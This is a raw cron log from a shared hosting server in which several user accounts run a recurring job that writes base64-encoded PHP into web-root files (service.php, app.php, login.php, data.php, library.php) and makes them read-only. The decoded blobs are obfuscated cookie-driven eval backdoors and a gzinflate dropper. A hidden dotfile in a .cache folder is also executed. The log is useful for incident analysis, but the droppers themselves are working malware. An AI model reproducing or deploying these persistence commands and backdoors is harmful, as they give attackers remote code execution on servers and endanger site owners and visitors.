Mar  2 04:57:02 medusa CROND[1398]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:57:02 medusa CROND[1403]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:57:02 medusa CROND[1404]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 04:57:02 medusa CROND[1406]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:57:02 medusa CROND[1407]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:57:02 medusa CROND[1409]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:57:02 medusa CROND[1410]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:58:01 medusa CROND[19669]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:58:01 medusa CROND[19670]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 04:58:01 medusa CROND[19876]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:58:01 medusa CROND[19877]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:58:01 medusa CROND[19882]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 04:58:01 medusa CROND[19886]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:58:01 medusa CROND[19890]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:58:01 medusa CROND[19896]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:58:01 medusa CROND[19899]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:58:01 medusa CROND[19898]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  2 04:58:01 medusa CROND[19905]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:58:01 medusa CROND[19911]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:58:01 medusa CROND[19914]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:58:01 medusa CROND[19920]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:59:01 medusa CROND[6349]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:59:01 medusa CROND[6536]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:59:01 medusa CROND[6537]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:59:01 medusa CROND[6538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:59:01 medusa CROND[6540]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:59:01 medusa CROND[6543]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:59:01 medusa CROND[6544]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:59:01 medusa CROND[6546]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:59:01 medusa CROND[6542]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 04:59:01 medusa CROND[6551]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfen